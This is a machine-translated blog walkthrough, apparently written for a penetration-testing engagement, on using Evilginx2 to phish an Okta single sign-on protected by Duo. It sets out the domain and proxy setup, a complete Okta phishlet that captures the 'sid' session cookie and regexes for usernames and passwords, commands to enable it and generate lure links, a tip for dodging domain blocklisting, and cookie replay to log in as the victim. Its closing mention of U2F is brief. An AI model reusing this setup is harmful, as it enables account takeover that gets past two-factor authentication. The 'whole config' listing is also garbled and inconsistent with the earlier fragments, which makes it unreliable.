震撼! 新的网络钓鱼软件赢得第二个因素

大家好!


有时您需要注册某人。 当目标组织配置了第二个身份验证因素时会发生这种情况-短信,Google身份验证器,Duo。 在这种情况下该怎么办? 雇用gopnik? 要削减员工电话? 不行 事实证明,狡猾的黑客已经编写了可以在这种困难情况下提供帮助的软件。


Evilginx2是一个网络钓鱼框架,可充当受害者和我们要从中接收帐户的站点之间的代理。 以前,他使用自定义nginx,但现在它已在Go上完全重写,其中包括微型HTTP和DNS服务器,从而大大简化了安装和部署。


如何运作? 该软件的作者在其网站上进行了详细描述 ,有关安装和配置的详细信息可以在该项目的github页面上找到。 为什么有可能规避第二个因素? 诀窍在于,我们不会干扰从SMS输入代码/从DUO输入临时密码/推送消息的过程。 我们正在静静地等待用户成功完成所有身份验证步骤,捕获他的cookie,并已将其用于登录。 在此过程中,以防万一我们收集了他的用户名和密码。 在同一张纸条中,我将谈论我的经历以及遇到的陷阱。


挑战赛


因此,我们需要提交一个积极使用Okta作为单点登录的办公室。 第二个因素是Duo ,该解决方案的解决方案的移动客户端中的芯片使您可以通过常规的推送通知来确认第二个因素,而无需输入35位代码(嗨,Google Authenticator)。 让我们开始吧。


第一步-注册网络钓鱼域


在我们的提供商的面板中,指定将要进行网络钓鱼的服务器的地址。 我们还注册了okta.< >.com形式的子域okta.< >.com



第二步-配置Evilginx


我们启动Evilginx,并通过config命令输入必要的设置。 我们指出主域(不是子域)及其IP。


 config domain < >.com config ip 10.0.0.1 

结果,配置如下所示:



redirect_url参数在这里很有趣-它指示客户端到我们域的根目录时将请求重定向到何处。 为什么要这样做? 如果您从根目录提供网络钓鱼页面,则会很快计算出该域并将其添加到危险站点列表中,浏览器将发誓,用户将永远无法到达我们。 因此,我们将通过一个唯一的链接给它,根将重定向到歌曲Never Gonna Give You Up。


第三步-设置网络钓鱼页面


从这里开始乐趣。 因为事实上,在我们的服务器上我们根本不托管任何内容,而仅托管请求,因此我们需要准确地“告诉” Evilginx我们想要接收的数据。 我们以特殊格式编写此“故事”。 其文档可在项目Wiki页面上找到。 这些网络钓鱼说明称为。 对于某些流行的服务-facebook,linkedin,亚马逊,它们已经被编写并包含在发行版中。 我们不太幸运,开箱即用不支持Okta,但是好心人为版本写了一个phishlet。 我们拿起档案,开始焊接。


填写描述,指定网络钓鱼的名称,作者以及所需的Evilginx版本。


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' 

我们指出我们要钓鱼的领域。 在我们的例子中,使用< >.okta.com形式的域。


 proxy_hosts: - {phish_sub: '', orig_sub: '<   >', domain: 'okta.com', session: true, is_landing: true} 

session参数表示正是这个域提供了我们所需的cookie,并将凭据传输到该域, is_landing意味着该主机将用于生成网络钓鱼URL。


接下来的重要步骤是识别对目标域的所有请求,以使代理成功将其重写为网络钓鱼域。 如果不这样做,则用户将不会向我们发送数据,而是立即向原始域发送数据,并且我们不会捕获任何帐户。 仅重写那些与用户登录到站点的过程直接相关的请求。


为了清楚地了解成功进行身份验证所需的内容,您需要仔细研究此过程。 有了Burp和测试帐户,我们开始搜索密码的传输方式以及应用程序通过哪种cookie确定授权用户。 我们也在从服务器寻找包含原始域链接的答案。


我们找到了一个传输登录名和密码的请求。 我们看到它已发送到原始域,但是我们需要离开我们。



在这里,您可以看到原始域如何在javascript中呈现链接,需要对其进行重写。



收集了此请求以及更多请求后,我们获得了以下设置:


 sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} 

关键字{hostname}仅用于用网络钓鱼域替换原始域。 在此处阅读有关本节语法的更多信息。


请记住,我们需要用于登录网站的cookie。 通过反复试验,我们找出cookie名称sid ,并将其添加到设置中:


 auth_tokens: - domain: '< >.okta.com' keys: ['sid'] 

用户的用户名和密码对我们也有用,我们已经找到了传输用户名和密码的请求。 如您在请求中看到的,我们需要的usernamepassword参数传递给json,我们添加:


 credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' 

因此,Evilginx将能够将其与查询隔离并正确保存它们。


剩下的很少。 在目标域上指定登录页面的URL。


 landing_path: - '/login/login.htm' 

我们将提供一个URL,通过该URL我们将了解用户已成功登录。


 auth_urls: - 'app/UserHome' 

仅此而已! 整个配置:


 name: 'okta' author: '@ml_siegel, updated by @hollow1' min_ver: '2.2.0' proxy_hosts: - {phish_sub: '', orig_sub: '<   >'', domain: 'okta.com', session: true, is_landing: true} sub_filters: sub_filters: - {triggers_on: '< >.okta.com', orig_sub: '< >', domain: 'okta.com', search: 'https://{hostname}/api', replace: 'https://{hostname}/api', mimes: ['text/html', 'application/json']} - {triggers_on: 'login.okta.com', orig_sub: 'login', domain: 'okta.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: 'https\\x3A\\x2F\\x2F{hostname}', replace: 'https\x3A\x2F\x2F{hostname}', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - {triggers_on: '< >.okta.com', orig_sub: '', domain: '< >.okta.com', search: '\\x2Fuser\\x2Fnotifications', replace: 'https\x3A\x2F\x2F< >.okta.com\x2Fuser\x2Fnotifications', mimes: ['text/html', 'application/json', 'application/x-javascript', 'text/javascript']} - domain: '< >.okta.com' keys: ['sid'] credentials: username: key: 'username' search: '"username":"([^"]*)' type: 'json' password: key: 'password' search: '"password":"([^"]*)' type: 'json' landing_path: - '/login/login.htm' auth_urls: - 'app/UserHome' 

将其另存为okta.yaml/usr/share/evilginx/phishlets


第四步-启用新的网络钓鱼


运行evilginx并编写命令


 phishlets hostname okta okta.<  >.com 

打开网络钓鱼。


 phishlets enable okta 

将自动为其创建一个来自LetsEncrypt的证书。
检查设置:



我们指明成功授权后将重定向用户的位置


 phishlets get-url okta https://< >.okta.com/ 

应用程序将给出一个需要发送给用户的链接,格式为https://< >.com/login/login.htm?rb=9ffe&ec=< >


第四步-等待收获


我们发送信件(邮寄技术-另一篇文章的材料)并等待。
弱的可信任用户会跟随该链接并登录。 我们这样看:



所有捕获的帐户总计为会话。 选择所需的一个并从中复制cookie:



打开浏览器,替换cookie和瞧-我们在里面:



后记


Evilginx极大地简化了网络钓鱼页面的创建,尤其是对于2FA。 而且,这些页面可以方便地存储并与朋友共享。 保护方式-使用U2F标准设备,过渡到新的身份验证方法


您如何看待上述方法? 您如何收款?

Source: https://habr.com/ru/post/zh-CN431156/


All Articles